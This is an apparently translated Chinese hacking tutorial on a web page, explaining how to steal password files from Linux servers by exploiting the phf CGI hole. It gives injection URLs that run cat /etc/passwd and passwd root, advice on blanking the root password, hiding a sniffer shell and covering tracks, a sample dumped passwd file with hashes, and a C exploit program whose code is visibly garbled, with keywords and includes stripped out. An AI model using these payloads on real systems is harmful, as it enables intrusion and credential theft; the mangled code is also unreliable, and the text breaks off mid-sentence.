linuxpasswd:入侵linux取passwd

目录:
PHF:WWWPH查询
PHF查询攻击新思路方法
从新手处获取
获取shadow密码档
获取/etc/hosts档

本文列举了几种从UNIX系统获取密码档思路方法其中大多数思路方法要求你拥有个有效帐号;但也有不需帐号也可访问系统思路方法在这里你还能知道完整密码档和shadow密码档区别并学习到如何读取shadow密码档
--------------------------------------------------------------------------------


PHF:WWWPH查询
[hide]

如果在WWWcgi-bin目录下有个名为phf可执行(具有x权限)那麽你就可以通过WWW或LINUX文本浏览器lynx访问它该功能允许你读取系统上文件如/etc/passwd等并保存在本地机上


以下是我们所需要做如果httpd服务器是由root根用户运行通过使用phf我们可以成为该服务器root用户;甚至修改服务器上某个用户密码


这里有个perl脚本它对使用上章中getdo.pl脚本所得到结果进行检测并检查运行服务器用户如果是root用户它就记录其id;如果不是root用户则会自动从/etc目录下读取passwd档并保存为do.???.passwd文件


我还会给出另个脚本它允许你从个shell中运行条命令只要该系统有phf你就可以在shell中输入命令行通过管道命令传送到远程系统上执行


OK现在你该知道下步是什麽了?让我们来学习如何利用phf


把你最喜爱web浏览器或是UNIX系统中经常使用lynx文本浏览器连接到网络上


在浏览器窗口或屏幕出现後踺入g(译者注:即使用浏览器「go」功能)便会出现以下内容(译者注:以lynx为例):

URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)r G)o M)ain screen Q)uit /=search [delete]=history list


在URL to open: 处输入:hp://xxx.org/cgi-bin/phf/?Qalias=xid


URL to open: hp://xxx.org/cgi-bin/phf/?Qalias=xid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)r G)o M)ain screen Q)uit /=search [delete]=history list


返回如下内容:


QUERY RESULTS


/usr/local/bin/ph -m alias=x id


uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)


以上内容表明:运行服务器用户是nobody因此我们便成为了该服务器nobody用户虽然我们还不是root用户但必将是


命令行:


hp://afp.org/cgi-bin/phf/?Qalias=xid


id是个命令它要求服务器返回用户id有时我们需要给出全路径比如:hp://afp.org/cgi-bin/phf/?Qalias=x/usr/bin/id


注意%0a後面是命令行内容如果你想输入个空格符就要用%20代替以下是经常要用到几个命令行:(以%0a开始)


显示passwd密码档:
%0a/bin/cat%20/etc/passwd


获取/etc目录下所有以pass开始详细文件列表:
%0als%20-al%20/etc/pass*


如果你有访问httproot用户权限备份passwd文件为passwd.my文件:
%0acp%20/etc/passwd%20/etc/passwd.my


更改root用户密码(服务器往往会允许你这样做  ):
%0apasswd%20root

(以上命令可以让你在以root用户登录时不需输入密码(译者注:也就是更改root用户密码为空然後再telnet该主机)别忘了将 passwd.my恢复为passwd(译者注:恢复root用户旧密码)删除备份文件然後你就可以运行个合适shell并将其隐藏起来作为嗅探器(snfer)来获取所需密码了)

只要你知道如何在UNIX中输入命令同时没有忘记使用%20来代替空格符你就不会遇到什麽困难!

OK现在让我们来获取本例中passwd档吧

URL to open: hp://xxx.org/cgi-bin/phf/?Qalias=xcat+/etc/passwd

我们将会看到:

QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd


root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
s:%2A:9:13:s:/usr/lib/s:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0perator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(个小小密码档 ;-) )


如果你希望保存这个文件只要在文本浏览器中选择「打印」和「保存
为文件」即可


现在让我们了解下paaswd档结构:


mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7


1=用户名 2=被加密密码 3=用户标识 4=用户组id 5=真实名字 6=用户根目录 7=shell
假设你不想使用WWW浏览器编译并执行以下脚本也可以达到目:



phf.c
------ cut here----


/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/


#
#
#
#
#
#
#

(argc, argv)
argc;
char **argv;
{
i = 0, s, port, s = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;


(argc != 3 && argc != 4) {
fprf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}


command = (char *)malloc(strlen(argv[1]) * 2);


while (argv[1] != '\0') {
(argv[1] 32) strcat(command, "%20"; {
sprf(j, "%c", argv[1]);
strcat(command, j);
}
i;
}


strcpy(hostname, argv[2]);
(argc 4) port = atoi(argv[3]); port = 80;


(sin.sin_addr.s_addr = inet_addr(hostname) -1) {
he = gethostbyname(hostname);
(he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} {
fprf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_) port);


((s = (sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprf(stderr, "%s: could not get \n", argv[0]);
exit(1);
}


(connect(s, (struct sockaddr *)&sin, (sin)) < 0) {
close(s);
fprf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}


sprf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(s 128) {
s = read(s, buffer, 128);
fprf(stdout, buffer);
}
close(s);
}


-------- cut here


使用举例:


bash% phf id xxx.org

------

Query Results



/usr/local/bin/ph -m alias=X
id


uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

------

以上是系统对响应再说使用%20代替命令行中空格符
使用如下格式可显示passwd档:


phf cat%20/etc/passwd hostname.xxx


另外Quantumg在他主页上提供了利用phf新思路方法我觉得有必要让大家了解


内容如下:


Phf 查询攻击新思路方法


我知道phf攻击已经是众所周知了但你会奇怪为什麽还有那麽多笨LINUX用户


首先...先介绍下背景:


phf是Apache上WWW服务器cgi-bin命令它存在缺陷其後果是允许任何人以运行http服务器用户身份执行命令通常该用户是nobody但有时是root要利用这缺陷只需简单地连接了该WEB服务器并执行以下查询:


GET /cgi-bin/phf/?Qalias=X%0a


其後跟着你所希望运行命令(用%20代替空格符)


OK以下是攻击思路方法我们所要做就是寻找存在phf漏洞LINUX服务器(我经常
Tags:  linux入侵 linuxetcpasswd linuxpasswd密码 linuxpasswd

延伸阅读

最新评论

发表评论